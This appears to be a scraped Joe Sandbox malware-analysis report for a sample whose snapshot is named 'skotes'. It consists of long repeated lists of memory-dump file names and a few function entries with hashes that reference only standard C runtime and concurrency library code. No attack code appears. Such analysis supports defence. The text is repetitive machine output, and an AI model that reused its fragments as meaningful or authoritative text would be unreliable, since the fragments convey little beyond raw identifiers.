Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction ID: 19c3b3b8a110a30b0d9baebd642033a8cc80a48971328818fabd6a5b8ab78593
Opcode Fuzzy Hash: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction Fuzzy Hash: 512133B5900159AFDF01EFA5DC85ABFB779EF48710F110425F941B7251DB34AD029B90

Function 009F9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009F9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 009F9CE8
std::bad_exception::bad_exception.LIBCMT ref: 009F9CFE
std::bad_exception::bad_exception.LIBCMT ref: 009F9D6A

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: adcd90433f7455c2464288c010d9d9a3fd5b2acc9716dca34898ec652647faae
Instruction ID: 118d3764ac8b84d6c798ac119d40f50b2b15c574f15f984fbb033903e9659006
Opcode Fuzzy Hash: adcd90433f7455c2464288c010d9d9a3fd5b2acc9716dca34898ec652647faae
Instruction Fuzzy Hash: DD21F83190121CAFDB05EFA4D982FBDB7B4BF45310B304426F611AB2A2EB316D01CB51

Function 009FA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 009FA069

Part of subcall function 009FB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 009FB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 009FA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 009FA0CB

Part of subcall function 009FAB41: List.LIBCONCRT ref: 009FAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 009FA0DB

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 84931487ed87c106f903019115cbfe816676435e9fd37161d41bd7ce8b14fcfb
Instruction ID: 05a200e9d7d744ad4236696ba88606967f406306604008338e1e9631e6ebfcd7
Opcode Fuzzy Hash: 84931487ed87c106f903019115cbfe816676435e9fd37161d41bd7ce8b14fcfb
Instruction Fuzzy Hash: FB21BD715006189FCB24EF65D9909BBF3F9FF88300700495EE646A7651CB34F905CBA2

Function 009F4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009F4893
ListArray.LIBCONCRT ref: 009F48A5

Part of subcall function 009F5555: _InternalDeleteHelper.LIBCONCRT ref: 009F5564

ListArray.LIBCONCRT ref: 009F48AF
_InternalDeleteHelper.LIBCONCRT ref: 009F48C8

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 39b5dac2c8f995147c447a5f2486c57a68d053d609f179ddd4c8ae821803de3e
Instruction ID: 938b841829818dc41b17086a4a4b0cb40edc7458e5536d474bf290ab51e922d6
Opcode Fuzzy Hash: 39b5dac2c8f995147c447a5f2486c57a68d053d609f179ddd4c8ae821803de3e
Instruction Fuzzy Hash: FE01D171601569FFCA267BA5C982F7EB76ABFC47507050139FB0497612DB20EC2187E0

Function 009FEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009FEE6A
ListArray.LIBCONCRT ref: 009FEE7C

Part of subcall function 009FEF29: _InternalDeleteHelper.LIBCONCRT ref: 009FEF3B

ListArray.LIBCONCRT ref: 009FEE86
_InternalDeleteHelper.LIBCONCRT ref: 009FEE9F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
